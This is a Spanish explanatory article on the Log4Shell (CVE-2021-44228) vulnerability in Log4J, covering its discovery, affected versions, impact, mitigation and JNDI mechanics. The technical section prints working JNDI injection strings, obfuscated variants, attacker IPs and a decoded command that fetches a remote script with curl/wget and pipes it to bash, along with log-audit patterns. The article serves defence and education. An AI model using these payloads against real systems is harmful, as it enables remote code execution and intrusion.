Java se encuentra en todas partes en dispositivos relacionados con TI como móviles, computadoras de escritorio, servidores, dispositivos IoT, enrutadores, impresoras, fotocopiadoras, entre otros. La mayoría de las aplicaciones de software y juegos populares, junto con las aplicaciones empresariales personalizadas, se desarrollan utilizando Java. Una estimación aproximada es que 3 mil millones de dispositivos ejecutan Java. Las bibliotecas de Java llevan la solidez de Java a un nivel diferente.
Una de esas bibliotecas es Log4J, que fue desarrollada por la Apache Software Foundation de código abierto. Esta biblioteca Log4J es una parte esencial del marco de registro de Java y es responsable de registrar los mensajes de error de una aplicación.
Uso de la biblioteca Log4J
El registro ayuda a los desarrolladores a ver todas las actividades que realiza una aplicación y casi todas las aplicaciones de software (incluso las basadas en la nube) crean registros de sus errores. Los desarrolladores, por lo general, no crean el sistema de registro de su aplicación (para no reinventar la rueda), pero prefieren usar una biblioteca de registro ya establecida (una norma común en codificación y desarrollo) y una de las bibliotecas de registro más populares de Java es Log4J.
Por lo tanto, casi todas las aplicaciones (incluidas las aplicaciones de gobiernos, agencias, empresas, Microsoft, Apple, Google, etc.) que están escritas en Java pueden tener esta biblioteca y una vulnerabilidad en una biblioteca de este tipo podría ser la peor pesadilla y el sueño de la seguridad cibernética. cierto para los piratas informáticos.
Además, esta biblioteca es de código abierto, por lo que no hay cifras oficiales sobre cuántos dispositivos / aplicaciones están usando esta biblioteca.
Log4J es utilizado por muchas aplicaciones populares (como Twitter, Apple iCloud), juegos (como Minecraft, Steam), sitios web, entre otros. Junto con estos, esta biblioteca también forma parte de muchos otros marcos como Kafka, Elasticsearch, Flink. La lista de aplicaciones, productos y complementos vulnerables al exploit Log4J aumenta continuamente.
Detección de una vulnerabilidad en Log4J
El primer informe de una vulnerabilidad en Log4J se apareció inicialmente en 1 st de diciembre de 2021 por Chen Zhaojun por parte del equipo de Alibaba seguridad en la nube, que, como práctica estándar de la caza de errores y como persona responsable IT, informó a la Fundación Apache sobre el defecto (aunque, algunos cazadores de errores venden tales vulnerabilidades a los piratas informáticos y tales vulnerabilidades pasan desapercibidas durante meses o años). La detección se ha producido en Minecraft. La función de chat de Minecraft es la fuente de identificación del exploit Log4J.
Los algoritmos de chat del juego se basan en la API de Java que usa la biblioteca Log4J y esta biblioteca permitió a los malos congelar los servidores de Minecraft, eliminar a todos los jugadores, etc. En un entorno favorable, esta vulnerabilidad fue fácilmente manipulada por Remote Code Execution (RCE)., que mejora el nivel de amenaza de la vulnerabilidad.
La presencia de una vulnerabilidad en la biblioteca Log4J fue aceptada públicamente en 9 º de diciembre de 2021 por Apache. La vulnerabilidad fue nombrada como Log4Shell y fue oficialmente etiquetado como CVE-2.021 a 44.228. Los (CVE C OMÚN V ulnerabilities y E xposures) sistema de numeración es una nomenclatura para identificar unívocamente cada vulnerabilidad / explotan detectados en todo el mundo.
El Log4J se clasifica como una vulnerabilidad de día cero (o día 0). La vulnerabilidad de día cero significa que los piratas informáticos ya apuntan a la vulnerabilidad, incluso antes de que los desarrolladores se enteraran de la falla y tuvieran día cero para implementar un parche para el exploit.
Versiones afectadas de la biblioteca Log4J y parches publicados
Se informa que las versiones 2.0 a 2.14.1 de Log4J se ven afectadas por la vulnerabilidad. La versión 2.15.0 de Log4J fue el parche original lanzado para CVE-2021-44228, pero más tarde, se encontró otra vulnerabilidad en Log4J (principalmente, en configuraciones no predeterminadas) etiquetada como CVE-2021-45046. Esta vulnerabilidad tuvo un impacto de seguridad de 3.7 (bastante bajo en comparación con la vulnerabilidad original). La Fundación Apache luego lanzó Log4j versión 2.16 para parchear el exploit en la solución original.
Mientras trabajábamos en este artículo, Apache lanzó otro parche Log4J versión 2.17 para la vulnerabilidad Log4J etiquetada como CVE-2021-45105 (el ataque de denegación de servicio / DoS). La información sobre los parches está disponible en la página de seguridad oficial de Log4J del sitio web de Apache.
Muchos lectores podrían pensar que, dado que el parche ya se ha aplicado al Log4J, ¿por qué este problema? Aunque la última versión de la biblioteca Log4J está parcheada, las aplicaciones, productos, complementos, etc. que todavía usan las versiones anteriores de Log4J aún no están parcheados. Además, está el caso de aplicaciones que se han convertido en abandonware y están utilizando una versión vulnerable de Log4J. Abandonware es un producto de software que sus propietarios / fabricantes ignoran / no desarrollan más y no tiene soporte oficial.
La magnitud del exploit Log4J
En una calificación de impacto de seguridad, el exploit Log4J se puede clasificar fácilmente como 10/10 (el nivel de riesgo más alto posible). La magnitud de esta vulnerabilidad es tan grande que todos los actores principales (Microsoft, Google, Cisco, etc.) junto con los gobiernos y Apache (los desarrolladores de Log4J) están trabajando día y noche para parchear la vulnerabilidad. La preocupación y respuesta de estas empresas se puede ver en sus páginas web oficiales o cuentas de redes sociales. La gravedad de la vulnerabilidad puede señalar cuando director Jen Easterly de CISA (US C ybersecurity y I nfra s tructure A gencia) mencionado los Log4J explotan como
Uno de los más graves que se ha visto en mucho tiempo, si no el más grave.
Y debido a esta gravedad, los líderes de la industria de TI piensan que la vulnerabilidad de Log4J seguirá acechando a la industria durante los próximos años.
¿Por qué no se detectó la vulnerabilidad de Log4J antes?
A muchos usuarios le viene a la mente la pregunta de por qué no se detectó una vulnerabilidad de tal magnitud ya que la biblioteca Log4J está disponible desde 2013. Aunque en los EE. UU. 2016 BlackHatEvents se presentó una vulnerabilidad de Log4J, que discutía JNDI como un vector de ataque, mientras que, la vulnerabilidad actual es un tipo de inyección de plantilla que permite el uso de JNDI.
Pero en las aplicaciones de software, las vulnerabilidades son difíciles de detectar a medida que surgen nuevas tecnologías, el horizonte de la industria de TI cambia (por ejemplo, las aplicaciones de software antes de la invención de Internet y después de Internet son una historia diferente).
Además, como se discutió anteriormente, las versiones de la biblioteca Log4J por debajo de la 2.0 no se ven afectadas (tienen sus propios problemas), por lo que el avance en la tecnología fue la razón por la que se pudo detectar este exploit.
Con el nuevo exploit en la ciudad, los piratas informáticos están apuntando sus herramientas para usar el exploit. El primer malware detectado que apuntaba al exploit fue CryptoMiners (que extrae criptomonedas de la máquina afectada).
A esto le siguió Cobalt Strike (prueba de penetración) para robar el nombre de usuario / contraseñas del sistema infectado. Luego, al barco se unió un malware basado en ransomware como Khonsari y la lista continúa.
Y, por último, pero no menos importante, los grupos de piratas informáticos respaldados por el estado de varios países están apuntando a los rivales explotando esta vulnerabilidad. Aquí hay un mapa de ESET sobre los ataques reportados llevados a cabo (los mayores volúmenes de ataques en los EE. UU., El Reino Unido, Alemania, Turquía y los Países Bajos).
Hasta ahora, hay más de 1800000 incidentes reportados (y contando) de intentos de uso de este exploit Log4J por parte de piratas informáticos. Además, casi más del 40 por ciento de las redes corporativas son atacadas al usar esta vulnerabilidad. La disponibilidad del código de explotación en varios sitios ha empeorado las cosas. Por otra parte, las cosas se complicaron como el exploit puede ser dirigida por HTTP y HTTPS.
Pero ese es solo el punto de partida, ya que, si se desarrolla un gusano de malware dirigido a la vulnerabilidad, entonces su impacto podría ser mucho mayor que la vulnerabilidad original. Porque, un gusano informático es una pieza de software independiente que se replica silenciosamente y se propaga a través de la red (por ejemplo, el gusano Code Red en la década de 2000 o WannaCry en 2017).
Cómo funciona
La biblioteca Log4J (junto con el marco de registro) realiza un seguimiento de lo que está haciendo una aplicación y para usar el exploit, un atacante solo necesita forzar una entrada de registro en Log4J mediante una tarea simple, por ejemplo, establecer un nombre de usuario de una cuenta o enviar la cadena de código en un correo electrónico.
La creación de la entrada de registro de una aplicación por parte de un atacante en el marco de registro puede variar de una aplicación a otra (por ejemplo, en Minecraft, se utilizó la función de chat) o de una computadora a otra. Una vez que se crea una entrada de registro de este tipo con código malicioso, el atacante puede cargar código malicioso en la máquina, tomar el control total del sistema, propagarse por la red, instalar malware, lanzar otra forma de ataque o cualquier otra cosa.
La parte más peligrosa de esta vulnerabilidad es que está » preautenticada”, lo que significa que un pirata informático no tiene que iniciar sesión en un sistema vulnerable para tomar el control de él.
El exploit se puede describir simplemente en los siguientes pasos:
- El hacker activa el exploit enviando una carga útil maliciosa a través de una entrada proporcionada por el usuario. Esta carga útil puede ser un encabezado HTTP / HTTPS o cualquier otra cosa que la aplicación vulnerable registre mediante Log4j.
- La aplicación registra la carga útil maliciosa en sus datos.
- La biblioteca Log4J intenta interpretar la entrada del usuario malintencionado y se conecta a un servidor controlado por piratas informáticos (por ejemplo, LDAP).
- El servidor malicioso (por ejemplo, LDAP) devuelve la respuesta que indica a la aplicación que cargue un archivo Java de clase remota.
- La aplicación descarga y ejecuta el archivo remoto que abre las puertas para que el hacker ejecute sus malas acciones.
El proceso se explica en el siguiente cuadro:
¿Estás a salvo?
Entonces, después de pasar por lo anterior, a los usuarios se les ocurre una pregunta: ¿estoy seguro? Depende. Si un usuario es parte de una organización que usa la biblioteca Java Log4J, entonces él y su organización están en riesgo.
Si un usuario o su organización no están usando nada basado en Java (muy improbable), pero si las dependencias de las aplicaciones empresariales, 3 rd utilidades proveedor externo o aplicación basada en Java son, a continuación, el usuario o su organización podrían estar en un riesgo. Puede buscar en Internet las aplicaciones que está utilizando si son vulnerables.
¿Qué hacer?
Ahora, la pregunta final, qué hacer si una vulnerabilidad Log4J está presente en su sistema u organización.
Para un usuario
Un usuario final común no puede hacer nada sustancial con respecto a esta vulnerabilidad, excepto para mantener sus aplicaciones (especialmente aplicaciones antivirus / anti-malware), dispositivos o sistema operativo actualizados.
Si el usuario está utilizando una forma de abandonware , desinstalarlo puede mantener su sistema seguro. Además, si está utilizando un servicio en línea (como Stream), asegurarse de que hayan aplicado los parches (consulte sus páginas oficiales o identificadores de redes sociales) es el camino a seguir para un usuario común.
Para una organización
El kilometraje para proteger a una organización del exploit Log4J puede variar de una organización a otra. El primer paso debe ser hacer una auditoría de toda la infraestructura, dependencias de las aplicaciones, 3 rd utilidades proveedor asociado, o empleados remotos para averiguar si existe la vulnerabilidad. La auditoría debe buscar registros de aplicaciones para los siguientes patrones o sus derivaciones:
$ {jndi: ldap: /}
$ {jndi: ldaps: /}
$ {jndi: rmi: /}
$ {jndi: dns: /}
$ {jndi: iiop: /}
La organización también puede utilizar herramientas automatizadas de búsqueda e investigación de amenazas (como Log4J Vulnerability Tester de TrendMicro) para descubrir cualquier aplicación que tenga la vulnerabilidad Log4J. El desarrollador de la organización debe tener la tarea de verificar su código en busca de alguna referencia a la vulnerabilidad Log4J.
Además, los dispositivos conectados a Internet de una organización deben parchearse lo antes posible para evitar una catástrofe. Una organización debe actuar lo más rápido posible, ya que tiene que competir con los malos que están al menos 7 días por delante de los demás para atacar la vulnerabilidad.
En segundo lugar, también se debe colocar un firewall de aplicaciones web lo antes posible para salvaguardar los recursos y los datos de la organización. Casi todos los jugadores importantes (Microsoft, Oracle, Apple, Google, Amazon, etc.) tienen sus servicios actualizados y lanzan parches para sus productos.
Por lo tanto, una organización debe asegurarse de actualizar todas las aplicaciones y servicios que está utilizando con los últimos parches. Además, las organizaciones empresariales deben limitar el tráfico de Internet innecesario para reducir su exposición, lo que reducirá el nivel de riesgo.
Aspectos técnicos de la vulnerabilidad
Hasta ahora, intentamos cubrir la vulnerabilidad de Log4J en términos simples, pero en esta sección, discutiremos la vulnerabilidad de Log4J en términos técnicos de los desarrolladores. Esta vulnerabilidad se aprovecha mediante la búsqueda de JNDI (Java Naming and Directory Interface). Esto puede resultar en un ataque de denegación de servicio (DoS).
Siempre que JNDI encuentra una expresión como $ {a_Java_expression}, busca el valor de esa expresión y la reemplaza. Algunas de las búsquedas compatibles con Log4J son sys, JNDI, env, java, lower y upper. Algunos de los protocolos admitidos por la búsqueda de Log4Json LDAP, DNS, RMI y IIOP.
Para inyectar una entrada en el registro de la aplicación, el atacante puede usar solicitudes HTTP a un servidor y, al recibir la solicitud, la búsqueda de Log4J descargará y ejecutará la clase maliciosa (alojada en el servidor LDAP controlado por el pirata informático), si el atributo ObjectClass en el objeto LDAP se define como javaNamingReference y tiene los siguientes atributos:
javaCodebase
javaFactory
javaClassName
Luego, el cargador de objetos LDAP extraerá el contenido de la URL maliciosa como se define en javaCodebase y creará un objeto correspondiente en la memoria. Una vez que se ejecuta el método de inicialización o más formalmente, el constructor de la clase mencionada, se ejecutará un código no confiable de una fuente no confiable en la máquina infectada.
La expresión más básica que un atacante puede inyectar en Log4J es
$ {jndi: ldap: // {sitio web_atacante} / a}
Esto ejecutará el código malicioso alojado en:
http: // {sitio web_atacante} / {clase maliciosa}
Una vez que el código malicioso se ejecuta con éxito, el servidor interpreta la cadena que conduce a los comandos de shell en varios formatos como JavaScript, Java Class, Unix shell, entre otros.
Otro factor que aumenta la gravedad de la vulnerabilidad es la capacidad de anidamiento del bloque $ {} de Java, que hará que la detección de cadenas sospechosas sea mucho más difícil. Por ejemplo, en lugar de usar $ {jndi:}, los piratas informáticos pueden usar $ {$ {lower: jn} $ {lower: di}} que permitirá a los piratas informáticos extraer información / datos de un servidor remoto.
Una pregunta interesante que podría surgir en la mente de un lector es ¿dónde colocar el código que puede aterrizar en la biblioteca Log4J? Muchas aplicaciones registran todo lo que les sucede, incluidas las solicitudes entrantes como los encabezados HTTP (como User-Agent o X-Fordered-For), URI, el cuerpo de la solicitud, etc.
La peor parte es que un atacante puede enviar dicha solicitud a la aplicación logger de todo Internet y luego puede dar comandos para controlar la máquina infectada. El proceso se aclara en el siguiente diagrama:
A continuación, se muestran algunos ejemplos de las URL identificadas hasta ahora para iniciar diferentes tipos de ataques mediante el uso de la biblioteca Log4J:
$ {jndi% 3aldap% 3a // 0ky8rj5089x9qx7tq8djb3rpp.canarytokens [.] com / a}
$ {jndi: $ {inferior: l} $ {inferior: d} $ {inferior: a} $ {inferior: p}: // $ {nombre de host: usuario: env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh [.] com}
$ {Jndi: $ {bajar: l} $ {bajar: d} $ {bajar: a} $ {bajar: p}: //195.54.160 149 [.]: 12344 / básico / Comando / Base 64 / KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
$ {jndi: ldap: //5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator [.] net / a}
$ {$ {env: ENV_NAME: -j} ndi $ {env: ENV_NAME: -:} $ {env: ENV_NAME: -l} dap $ {env: ENV_NAME: -:} // 62.182.80.168:1389/pien3m}
$ {$ {inferior: j} $ {superior: n} $ {inferior: d} $ {superior: i}: $ {inferior: l} $ {inferior: d} $ {inferior: a} $ {inferior: p }}: //67.205.191.102: 1389 / koejir}}
La siguiente es una parte de los registros del servidor HTTP que muestra un intento de explotación de Log4J:
45.155.205 [.] 233: 53590 servidor: 80 – [10 / Dic / 2021: 13: 25: 10 +0000] «GET / HTTP / 1.1» 200 1671 «-» «$ {jndi: ldap: //45.155 .205 [.] 233: 12344 / Basic / Command / Base64 / [BASE64-code-eliminado]} «
La cadena base64 en el registro anterior se decodifica a:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
Esto buscará un código malicioso de 45.155.xxx.xxx y posteriormente ejecutará el script utilizando Bash.
Al final, queremos que nuestros lectores estén atentos a esta amenaza y no debemos tomarla a la ligera porque hay una razón por la que Internet está en llamas debido a esta vulnerabilidad.
